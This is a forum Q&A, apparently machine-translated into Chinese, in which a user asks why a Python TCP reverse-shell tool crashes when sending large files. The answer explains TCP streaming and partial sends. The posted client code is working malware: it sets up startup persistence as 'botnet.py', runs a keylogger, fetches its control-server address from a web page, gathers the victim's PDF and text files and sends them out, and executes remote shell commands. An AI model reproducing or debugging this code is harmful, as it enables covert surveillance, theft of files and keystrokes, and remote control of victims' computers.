Python Socket TCP连接大小限制?

Python Socket TCP connection size limit?

我目前正在创建一个基于TCP的反向shell(客户机在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过TCP发送shell命令。这些程序在其他方面(例如,接收和发送命令、服务器接收文件)都可以正常工作,直到我尝试从服务器向客户机发送大文件(我记得大于1 KB)。当我尝试发送大型文件时,服务器发送完之后,客户端由于某种原因崩溃。我甚至看不到错误信息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收到了很好的内容,但立即崩溃。我将为那些想要帮助的人附加客户机代码和服务器代码。代码有点奇怪,因为我在第一次调试时添加了一些"标志"。谢谢您。

服务器代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use"//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
    command = raw_input(str(addr)+'>>')
    if command == 't':
        c.send(command)
        cile_list = c.recv(1024)
        cile_lista = pickle.loads(cile_list)
        for key, value in cile_lista.iteritems():
            if 'Downloads' in key:
                a, sep, b = key.partition('/Downloads/')
            if 'Documents' in key:
                a, sep, b = key.partition('/Documents/')
            if 'JAVA' in key:
                a, sep, b = key.partition('/JAVA_BACKUP/')
            output = open(b, 'wb')
            content = c.recv(value)
            output.write(content)
            output.close()
        print'file transfer complete'
    if command == 'a':
        c.send(command)
        print'enter T to indicate file list complete'
        patha = raw_input('Enter file path(must be in server directory, aka Server): ')
        while patha != 'T':
            try:
                f = open(patha,'rb')
                f.close()
                size  = os.path.getsize(patha)
                a, sep, b =  str(size).partition('L')
                file_list[patha] = int(a)
            except:
                print'invalid file name'
            patha = raw_input('Enter file path(must be in server directory): ')
        if len(file_list) == 0:
            c.send(pickle.dumps({'0.txt':0}))
        else:
            file_lista = pickle.dumps(file_list)
            c.send(file_lista)  
            print file_list
            for file in file_list:
                os.chdir("C:/Users/Insert_Name/Desktop/Server")
                content = open(file, 'rb')
                content = content.read()
                c.send(content)
            file_list.clear()
    if command != 't':
        if command != 'a':
                if 'start' in command:
                    c.send(command)
                else:
                    c.send(command)
                    if '//' in command:
                        a, sep, b = command.partition('//')
                        c.send(b)
                    feedback  = c.recv(1024)
                    print feedback
                    while True:
                        feedback = c.recv(1024)
                        if '_DONE_' in feedback:
                            a, sep, b = feedback.partition('_SEP_')
                            print a
                            break

                    print feedback

客户代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
    source ="C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
    destination ="C:/Users/"+username+"/Saved Games"
    shutil.copy(source, destination)
    setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
    pl =('@echo off
start C:\Users/%USERNAME%/Saved Games/botnet.py'
)
    setup.write(pl)
    setup.close()

def communication(var):
    page = requests.get(var)
    print page
    tree = html.fromstring(page.content)
    address = tree.xpath('//div[@class ="body"]/div[@dir ="ltr"]/text()')
    address = ''.join(address)
    address = address.replace("'","")
    return address

def keylogger(username):
    filename ="C:/Users/"+username+"/Saved Games/README.txt"
    def keylog(event):
        username = getpass.getuser()
        logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True
    hm = pyHook.HookManager()
    hm.KeyDown = keylog
    hm.HookKeyboard()
    pythoncom.PumpMessages()

def tcp_connection(address, username):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server = client.connect((address, 1024))
    while True:
        command = client.recv(1024)
        if command != 'a':
            if command == 't':
                file_gatherer(username)
                print file_list
                file_lista = pickle.dumps(file_list)
                client.send(file_lista)
                for file in file_list:
                    file = open(file, 'rb')
                    file = file.read()
                    client.send(file)
        if command != 't':
            if command != 'a':
                if 'cd' in command:
                    f = os.getcwd()
                    b = client.recv(1024)
                    try:
                        os.chdir(b)
                        r = os.getcwd()
                    except:
                        r = 'error: invalid directory name'
                else:
                    result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    f = result.stdout.read()
                    r = result.stderr.read()
                client.send(f)
                client.send(r)
                client.send('_SEP_/n_DONE_')
        if command == 'a':
            cile_list = client.recv(1024)
            cile_lista = pickle.loads(cile_list)
            print cile_lista
            for key, value in cile_lista.iteritems():
                output = open(key, 'wb')
                content = client.recv(value)
                print content
                output.write(content)
                output.close()
def file_gatherer(username):
    try:
        os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
    except:
        pass
    for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
        try:
            file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
        except:
            pass
    os.chdir("C:/Users/"+username+"/Downloads")
    for file in glob.glob('*.pdf'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
    for file in glob.glob('*.txt'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
    os.chdir("C:/Users/"+username+"/Documents")
    for file in glob.glob('*.pdf'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
    #for file in glob.glob('*.txt'):
    #    file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)

tcp_connection('localhost', username)
def main():
    duplication()
    keylogger()
    address = communication(var)
    file_gatherer()
    file_transfer(address)

问题只是文件传输。


Python Socket TCP connection size limit?

你实际上问错了问题。真正的问题是,TCP是一个流协议,您将其视为一个消息协议,也就是说,在您的代码中,您假定一方的每个send将由对等方的一个recv处理。除此之外,您假设send将写入作为参数给出的完整缓冲区,但文档明确指出,它不:

Applications are responsible for checking that all data has been sent; if only some of the data was transmitted, the application needs to attempt delivery of the remaining data.

忽略这一点意味着在读取数据时可能会遇到不完整的"消息",或者在读取数据时会收到多个"消息"(或一个填充、一个部分或类似的消息)。例如,这可能会导致试图取消拾取数据时崩溃。

但要达到大小限制:在单个send中实际可以写入多少数据是有限的。这个限制取决于套接字缓冲区的大小,也取决于套接字的当前状态,即套接字是否已满。如果您使用SSL套接字,则会受到SSL帧的最大大小的进一步限制。但是,TCP本身对传输的数据量没有限制,但是如果传递了许多数据,就需要对套接字进行多次写入。

The client program contains a keylogger, which is for now useless because I haven't created a command to activate it yet, so you can just ignore that.

当你自己调试一个问题或者让其他人帮助你调试它时,如果你扔掉了所有实际上不需要的东西来重现这个问题,它会有很大的帮助。了解如何创建一个最小、完整和可验证的示例。


  • 通常,您不能假定套接字读取会填满缓冲区,或者套接字写入会发送指定的全部数据量。
  • 一般来说,您不应该将整个文件加载到内存中:您应该使用一个具有合理缓冲区大小的复制循环,比如8K。